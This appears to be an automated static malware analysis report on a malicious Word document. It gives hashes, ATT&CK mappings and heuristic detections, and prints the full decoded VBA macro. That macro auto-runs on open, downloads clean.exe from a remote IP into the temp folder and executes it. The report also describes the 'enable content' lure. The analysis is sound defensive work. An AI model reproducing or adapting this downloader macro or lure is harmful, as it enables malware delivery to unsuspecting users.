Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 711dd7620a0d08bd…

MALICIOUS

Office (OLE)

32.0 KB Created: 2014-04-03 19:41:00 Authoring application: Microsoft Office Word First seen: 2015-10-13
MD5: eb335b71e90b1d9bbe7535fd7fea1320 SHA-1: 40cb898fea3639ed892797cba0668eca71deed97 SHA-256: 711dd7620a0d08bd74e9bca7e6476ff2d66a122bca000fdcca5e3ecec52307ad
294 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The document body prompts the user to 'enable content' to view an 'encrypted document', a common lure to bypass macro security. The VBA macro `Auto_Open` calls `DLVMRB`, which in turn uses `CreateObject("MSXML2.XMLHTTP")` to download a file from `http://177.70.96.129/~lefcontabil/doc/clean.exe` to the temporary directory as `MSFOYC.exe`. This downloaded file is then executed using `Shell(HFOYUQ, 1)`, indicating an Ingress Tool Transfer attack pattern.

Heuristics 12

  • ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        IOXAEL = Shell(HFOYUQ, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set LOATWE = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        XSMVOB "http://177.70.96.129/~lefcontabil/doc/clean.exe", Environ("TMP") & "\MSFOYC.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://177.70.96.129/~lefcontabil/doc/clean.exe In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1150 bytes
SHA-256: e0b68febdac122e7a82953f4545d7a7893a7d9f0ffeea14dd31c5c9d166ecd92
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Workbook_Open()
    Auto_Open
End Sub
Sub DLVMRB()
    XSMVOB "http://177.70.96.129/~lefcontabil/doc/clean.exe", Environ("TMP") & "\MSFOYC.exe"
End Sub
Function XSMVOB(ByVal SMNONU As String, ByVal HFOYUQ As String) As Boolean
     Dim LOATWE As Object, RGOTQX As Long, SNPBKX As Long, DCTFJM() As Byte

    Set LOATWE = CreateObject("MSXML2.XMLHTTP")
    LOATWE.Open "GET", SMNONU, False
    LOATWE.Send "send request"

    Do While LOATWE.readyState <> 4
    DoEvents
    Loop

    DCTFJM = LOATWE.responseBody

    SNPBKX = FreeFile
    If Dir(HFOYUQ) <> "" Then Kill HFOYUQ
    Open HFOYUQ For Binary As #SNPBKX
    Put #SNPBKX, , DCTFJM
    Close #SNPBKX
    
    Dim IOXAEL
    IOXAEL = Shell(HFOYUQ, 1)

    Set LOATWE = Nothing
     
End Function
Sub Auto_Open()
DLVMRB
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

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